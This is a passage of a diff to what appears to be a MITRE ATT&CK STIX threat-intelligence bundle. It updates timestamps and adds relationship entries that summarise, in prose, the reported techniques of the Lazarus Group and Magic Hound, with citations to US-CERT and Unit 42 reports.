             "id": "relationship--f146a331-3595-46be-abef-518708e34def",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.067Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Several Lazarus Group malware families encrypt C2 traffic using custom code that uses XOR with an ADD operation and XOR with a SUB operation.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -28813,7 +33737,7 @@
             "id": "relationship--115562b8-9d7c-435e-af6e-0be6249742d0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.067Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Several Lazarus Group malware families are capable of downloading and executing binaries from its C2 server.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -28844,7 +33768,7 @@
             "id": "relationship--ae61abba-14fb-4d4e-9f8e-a3b18500b449",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.067Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Various Lazarus Group malware modifies the Windows firewall to allow incoming connections or disable it entirely using netsh. Lazarus Group malware TangoDelta attempts to terminate various processes associated with McAfee.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -28875,7 +33799,7 @@
             "id": "relationship--699ddfef-6e95-42cf-b212-dc661f790adc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.067Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Several Lazarus Group malware families gather a list of running processes on a victim system and send it to their C2 server.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -28901,7 +33825,7 @@
             "id": "relationship--170e2f76-5b6a-4eee-8ea4-d1171368b4a9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.067Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware IndiaIndia obtains and sends to its C2 server the title of the window for each running process. The KilaAlfa keylogger also reports the title of the window in the foreground.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -28932,7 +33856,7 @@
             "id": "relationship--4189f5b4-4c57-452a-a3fb-da5988804feb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.067Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware IndiaIndia obtains and sends to its C2 server information about the first network interface card\u2019s configuration, including IP address, gateways, subnet mask, DHCP information, and whether WINS is available.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -28958,7 +33882,7 @@
             "id": "relationship--39b735d3-c659-4d1a-8e7e-082c0f049c2d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.067Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware IndiaIndia checks Registry keys within HKCU and HKLM to determine if certain applications are present, including SecureCRT, Terminal Services, RealVNC, TightVNC, UltraVNC, Radmin, mRemote, TeamViewer, FileZilla, pcAnyware, and Remote Desktop.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -28984,7 +33908,7 @@
             "id": "relationship--8c58cfe5-0b71-434c-939a-329b612d2337",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.067Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware IndiaIndia saves information gathered about the victim to a file that is compressed with Zlib, encrypted, and uploaded to a C2 server.Lazarus Group malware RomeoDelta archives specified directories in .zip format, encrypts the .zip file, and uploads it to its C2 server.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -29015,7 +33939,7 @@
             "id": "relationship--552ac18c-4fac-4cb0-aefc-811a10e1c320",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.068Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware IndiaIndia saves information gathered about the victim to a file that is compressed with Zlib, encrypted, and uploaded to a C2 server.Lazarus Group malware RomeoDelta archives specified directories in .zip format, encrypts the .zip file, and uploads it to its C2 server.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -29046,7 +33970,7 @@
             "id": "relationship--5f055076-79d1-44e8-95cb-43fc515df2f6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.068Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware IndiaIndia saves information gathered about the victim to a file that is saved in the %TEMP% directory, then compressed, encrypted, and uploaded to a C2 server.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -29072,7 +33996,7 @@
             "id": "relationship--520f5440-740f-4efe-850e-ea4db340aef1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.068Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware IndiaIndia saves information gathered about the victim to a file that is uploaded to one of its 10 C2 servers.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -29098,7 +34022,7 @@
             "id": "relationship--3fe9b64a-6435-4592-9181-2ad50ee93044",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.069Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware IndiaIndia saves information gathered about the victim to a file that is uploaded to one of its 10 C2 servers.Lazarus Group malware RomeoDelta copies specified directories from the victim's machine, then archives and encrypts the directories before uploading to its C2 server.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -29129,7 +34053,7 @@
             "id": "relationship--7f695d14-17e1-46c6-92eb-7c2f57fc6553",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.068Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware KiloAlfa contains keylogging functionality.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -29155,7 +34079,7 @@
             "id": "relationship--6ab291a5-8061-4ad4-a6a7-07a6142e4c27",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.068Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware RomeoAlfa maintains persistence by saving itself in the Start menu folder.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -29181,7 +34105,7 @@
             "id": "relationship--7e221899-d90a-4c9a-8ea4-77110c45f0f9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.068Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some Lazarus Group malware uses multiple channels for C2, such as RomeoWhiskey-Two, which consists of a RAT channel that parses data in datagram form and a Proxy channel that forms virtual point-to-point sessions.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -29207,7 +34131,7 @@
             "id": "relationship--e6cafa6a-22ce-49f7-8136-dc5a51c3aaeb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.068Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware SierraAlfa accesses the <code>ADMIN$</code> share via SMB to conduct lateral movement.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -29233,7 +34157,7 @@
             "id": "relationship--64a17aba-5182-4666-bd37-dafa9d835fe8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.069Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware SierraAlfa uses the Windows Management Instrumentation Command-line application wmic to start itself on a target system during lateral movement.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -29259,7 +34183,7 @@
             "id": "relationship--ab687dca-2741-4920-a71e-e0e0444809c5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.069Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware SierraAlfa sends data to one of the hard-coded C2 servers chosen at random, and if the transmission fails, chooses a new C2 server to attempt the transmission again.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -29285,7 +34209,7 @@
             "id": "relationship--500130c0-d049-4e67-9bcc-d60a5f6dfd4c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.069Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware SierraAlfa and WhiskeyAlfa-Three enumerate logged-on users. Lazarus Group malware IndiaIndia collects the victim's username and sends it to the C2 server.\n",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -29321,7 +34245,7 @@
             "id": "relationship--83ba5b2c-b3fd-4558-a3f8-cef4c31e02bd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.069Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware attempts to connect to Windows shares for lateral movement by using a generated list of usernames, which center around permutations of the username Administrator, and weak passwords.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -29347,7 +34271,7 @@
             "id": "relationship--0a8ee649-e907-4a73-8513-3019b2d771a0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.069Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware SierraBravo-Two generates an email message via SMTP containing information about newly infected victims.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -29373,7 +34297,7 @@
             "id": "relationship--c79796c1-88d6-4cd8-95d3-4f81d3755859",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.069Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware SierraCharlie uses RDP for propagation.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -29399,7 +34323,7 @@
             "id": "relationship--88896f55-5606-4b21-8616-e7965a863dd8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.069Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some Lazarus Group malware uses a list of ordered port numbers to choose a port for C2 traffic, which includes commonly used ports such as 443, 53, 80, 25, and 8080.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -29425,7 +34349,7 @@
             "id": "relationship--7aa43cd7-ada3-49c9-8dc7-9492fa22c7d8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.069Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some Lazarus Group malware uses a list of ordered port numbers to choose a port for C2 traffic, which includes uncommonly used ports such as 995, 1816, 465, 1521, 3306, and many others.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -29451,7 +34375,7 @@
             "id": "relationship--7ca1b40d-d1de-48ab-b8ad-023ad9877def",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.069Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware WhiskeyAlfa-Three modifies sector 0 of the Master Boot Record (MBR) to ensure that the malware will persist even if a victim machine shuts down.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -29477,7 +34401,7 @@
             "id": "relationship--1a40426a-355c-4d7e-b51c-e95a102b31e2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group keylogger KiloAlfa obtains user tokens from interactive sessions to execute itself with API call <code>CreateProcessAsUserA</code> under that user's context.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -29498,12 +34422,33 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--39fdd17c-5f59-4daf-bf14-95841b5ec248",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Lazarus Group uses multiple proxies to obfuscate network traffic from victims.",
+            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
+            "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT FALLCHILL Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A"
+                }
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--9f62c4e4-02d4-497b-8039-cc4e816386a5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.070Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
             "target_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71",
@@ -29511,12 +34456,38 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--e46836e5-8ffe-45e5-9398-bb9fbb3a4aeb",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
+            "target_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--216c15b0-3091-49f2-ba85-356d56265671",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
+            "target_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--8859897c-66f5-4754-8cb8-2c6e6b8b8e2e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.064Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--88b7dbc2-32d3-4e31-af2f-3fc24e1582d7",
             "target_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
@@ -29529,7 +34500,7 @@
             "id": "relationship--764b5d56-83a1-4c8d-824a-2021c7fe8052",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.064Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--88b7dbc2-32d3-4e31-af2f-3fc24e1582d7",
             "target_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
@@ -29542,7 +34513,7 @@
             "id": "relationship--ded85906-e996-45cd-ae64-82adc22397e3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.078Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--9559ecaf-2e75-48a7-aee8-9974020bc772",
             "target_ref": "malware--f5352566-1a64-49ac-8f7f-97e1d1a03300",
@@ -29555,7 +34526,7 @@
             "id": "relationship--238a7a2c-34db-4f43-a94b-4a6ad225129d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.078Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--9559ecaf-2e75-48a7-aee8-9974020bc772",
             "target_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
@@ -29568,7 +34539,7 @@
             "id": "relationship--13aa912e-bb51-4293-a971-9179442d516a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.078Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--9559ecaf-2e75-48a7-aee8-9974020bc772",
             "target_ref": "malware--85b39628-204a-48d2-b377-ec368cbcb7ca",
@@ -29581,7 +34552,7 @@
             "id": "relationship--34627bc3-c857-46c4-a9e8-060a779b643e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.078Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--9559ecaf-2e75-48a7-aee8-9974020bc772",
             "target_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56",
@@ -29589,12 +34560,390 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--110690db-fd9b-425a-9269-ec082f0af3f9",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound has used PowerShell for execution.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--2dd15583-34cd-4b49-a6ba-4bd647b7ff27",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound malware has used HTTP and IRC for C2.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--47f521b8-37e4-489d-b6eb-25f35de80aae",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound has downloaded additional code and files from servers onto victims.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--b60dcc78-83b0-4fe2-b874-6f22f99b6087",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound malware has used a PowerShell command to check the victim system architecture to determine if it is an x64 machine. Other malware has obtained the OS version, UUID, and computer/host name to send to the C2 server.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--17bc0957-1509-4faf-bb51-a6a9e1959978",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound has used the command-line interface.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--8087d99b-cc05-4e2a-abce-687eb726a9e7",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound malware has used base64-encoded commands and files, and has also encrypted embedded strings with AES.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--0a507d28-ef6b-417b-a968-e82608e8b6a8",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound malware has used Registry Run keys to establish persistence.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--88c50625-6d02-42fb-aa82-4315a532b754",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound malware gathers the victim's local IP address, MAC address, and external IP address.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
